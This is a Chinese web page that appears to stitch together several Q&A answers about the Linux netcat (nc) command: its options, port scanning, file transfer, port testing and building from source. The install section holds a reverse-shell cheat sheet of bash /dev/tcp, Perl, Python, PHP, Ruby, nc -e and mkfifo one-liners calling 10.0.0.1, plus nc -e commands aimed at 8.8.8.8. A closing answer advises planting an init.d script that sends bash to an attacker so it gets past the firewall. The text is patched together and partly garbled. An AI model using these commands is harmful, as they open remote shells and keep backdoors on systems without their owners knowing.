Linux nc命令详解 Linux nc命令怎么用
Linux中nc命令是一个功能强大的网络工具,全称是netcat。 语法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]参数说明:-g<网关> 设置路由器跃程通信网关,最丢哦可设置8个。-G<指向器数目> 设置来源路由指向器,其数值为4的倍数。-h 在线帮助。-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。-l 使用监听模式,管控传入的资料。-n 直接使用IP地址,而不通过域名服务器。-o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。-p<通信端口> 设置本地主机使用的通信端口。-r 乱数指定本地与远端主机的通信端口。-s<来源位址> 设置本地主机送出数据包的IP地址。-u 使用UDP传输协议。-v 显示指令执行过程。-w<超时秒数> 设置等待连线的时间。-z 使用0输入/输出模式,只在扫描通信端口时使用。实例:1、TCP端口扫描# nc -v -z -w2 127.0.0.1 1-100Connection to 127.0.0.1 22 port [tcp/ssh] succeeded!Connection to 127.0.0.1 53 port [tcp/domain] succeeded!Connection to 127.0.0.1 80 port [tcp/http] succeeded!...nc: connect to 127.0.0.1 port 100 (tcp) failed: Connection refused2、从192.168.1.2拷贝文件到192.168.1.3首先在接收端192.168.1.3上: nc -l 1234 > test.txt然后在发送端192.168.1.2上: nc 192.168.1.3 < test.txt注意:先运行接收端,指定一个端口为1234,文件为test.txt,再执行发送端,并且发送端必须存在同名的文件test.txt3、传输目录从server1(192.168.16.233)拷贝nginx目录内容到server2(192.168.48.47)上。需要先在server2上,用nc激活监听,server2上运行:# nc -l 1234 | tar xzv-server1上运行:# tar czv- nginx | nc 192.168.48.47 12344、简单聊天工具在192.168.1.2上: nc -l 1234在192.168.1.3上: nc 192.168.1.2 1234 这样,双方就可以相互交流了。使用ctrl+C(或D)退出

怎么看linux服务器是否带netcat
netcat这个工具的命令是nc,只需要在终端命令行执行nc命令,如果命令行提示没有找到命令(Command no found),就说明Linux系统上没有netcat;反之,如果输入nc命令后显示了netcat的帮助信息,就说明Linux系统上带有netcat。

测试服务器本机8080端口是否开通的 命令
测试服务器本机8080端口是否开通的命令的方法。如下参考:1.第一个港口TCP,udp点,所以相同的端口号和TCP协议和udp协议,换句话说一个TelnetTCP端口开放不仅检测。假设我们想看到192.192.193.211这个IPTCP端口22是否打开,它运行Telnet192.192.193.21122,版本信息,如该端口是打开的。2.出现以下信息。该表显示端口未打开,如下图所示。3.有一个命令nc(netcat)查看端口是否打开,如果看到端口8080是否打开,可以运行nc-z192.192.193.2118080,打开后会出现以下信息。
要测试服务器上的某个端口是否开启,无需使用太复杂的工作,windows下就自带了工具,那就是telnet(远程测试),netstat(本地测试)这两个命令都行。1、用Telnet命令测试某个端口是否开启。假如服务器ip是192.168.0.1的8080这个端口。在cmd下输入telnet 192.168.0.1 8080之后会出现一个窗口,是最小化的。若窗口自动关闭了,说明端口是关闭的,反之端口开放。比如这个8080端口是开放的,就出现以下的窗口,否则窗口关闭。2、可以直接在服务器上CMD下输入netstat -anp tcp可以查看当前主机tcp开放了哪些端口。3、Linux下可以通过检测端口是否被占用,如果被占用证明服务器开启了这个端口:netstat –apn | grep 8080
好像是netstat -an

linux怎么安装netcat
etcat-0.7.1.tar.gz 然后当然是解压了tar zxvf netcat-0.7.1.tar.gz解压完毕之后会生成目录,要cd进去cd netcat-0.7.1然后进行编译前的配置。./configure配置完了之后就可以make编译了。编译成功就生成了netcat可执行的文件了,位于src目录,cd进去进行运行./netcat -h.如图本地Windows监听nc -vv -l -p 1234远程Windows转发nc -t -e C:WINDOWSsystem32cmd.exe 8.8.8.8 1234远程Linux转发./netcat 8.8.8.8 1234 -e /bin/shReverseShell.cReverseShell.plReverseShell.pyphpspy.php———————NetCat for linux 参数e————————-下载netcat-0.7.1.tar.gztar zxvf netcat-0.7.1.tar.gzcd netcat-0.7.1./configuremakecd src./netcat -h——————————————————————–一句话反弹命令[Bash]bash -i >& /dev/tcp/10.0.0.1/8080 0>&1[PERL]perl -e ‘use Socket;$i=”10.0.0.1″;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’[Python]python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.0.0.1″,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’[PHP]php -r ‘$sock=fsockopen(“10.0.0.1″,1234);exec(“/bin/sh -i <&3 >&3 2>&3″);’[Ruby]ruby -rsocket -e’f=TCPSocket.open(“10.0.0.1″,1234).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’[Netcat]nc -e /bin/sh 10.0.0.1 1234 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
netcat是GNU协议下项目可以在sourceforge.net下载安装下载下载的是netcat-0.7.1.tar.gz版本,存放在当前目录下wget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download解压将 netcat-0.7.1.tar.gz 解压到 /usr/local 目录下tar -zxvf netcat-0.7.1.tar.gz -C /usr/local重命名切换到 /usr/local 目录下:cd /usr/local改名:mv netcat-0.7.1 netcat配置切换目录:cd /usr/local/netcat把文件配置到 /opt/netcat 下,卸载软件时,只要删除这个文件就行了:./configure –prefix=/opt/netcat编译安装编译:make安装:make install配置环境变量vim /etc/profile添加以下内容:# set netcat pathexport NETCAT_HOME=/opt/netcatexport PATH=$PATH:$NETCAT_HOME/bin保存,退出,并使配置生效:source /etc/profile验证nc –help
在网络工具中有“瑞士军刀”美誉的NetCat(以下简称nc),在我们用了N年了至今仍是爱不释手。因为它短小精悍(这个用在它身上很适合,现在有人已经将其修改成大约10K左右,而且功能不减少)。 一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具,能够直接由其它程序和脚本轻松驱动。安装方式一:yum安装yum install -y netcat或者yum install -y nc安装方式二:编译安装1.下载https://download.csdn.net/download/z1941563559/105778792.上传到linux服务器并解压进入netcat-0.7.1.tar.gz所在目录,并执行下面的命令:tar -zxvf netcat-0.7.1.tar.gz -C /usr/local/3.编译并安装netcat进入解压之后的目录cd /usr/local/netcat-0.7.1/执行编译安装的命令: [root@hadoop02 netcat-0.7.1]# ./configure –prefix=/usr/local/netcat
下载 下载的是netcat-0.7.1.tar.gz版本,存放在当前目录下wgethttp://sourceforge.net/projects/netcat/files/netcat/0.7.1/解压将 netcat-0.7.1.tar.gz 解压到 /usr/local 目录下tar -zxvf netcat-0.7.1.tar.gz -C /usr/local重命名切换到 /usr/local 目录下:cd /usr/local改名:mv netcat-0.7.1 netcat配置切换目录:cd /usr/local/netcat把文件配置到 /opt/netcat 下,卸载软件时,只要删除这个文件就行了:./configure –prefix=/opt/netcat编译安装编译:make安装:make install配置环境变量 vim /etc/profile添加以下内容:# set netcatpathexport NETCAT_HOME=/opt/netcatexportPATH=$PATH:$NETCAT_HOME/bin保存,退出,并使配置生效:source /etc/profile 验证nc –help
下载源码包,编译安装下载二进制包比如rpm deb使用包管理工具安装 yum apt dnf 等以上方法就是通常使用的在linux安装软件的方式希望能帮到你

为什么CentOS或Redhat的netcat命令中没有-e选项,如何才能使用此选项。不想重新编译安装。
我觉得,之所以没有这个-e参数是为了防止被控方(centos)的操作人员设置后门, 你可以尝试到etc/init.d下写一个nc的启动脚本,利用由内向外的反向链接-c参数反弹bash(可以越过防火墙)大概是“nc -nv ip地址 53 -c bash“ 在攻击方进行侦听53DNS端口,等着鱼儿上钩吧!!

本文由 在线网速测试 整理编辑,转载请注明出处,原文链接:https://www.wangsu123.cn/news/71741.html。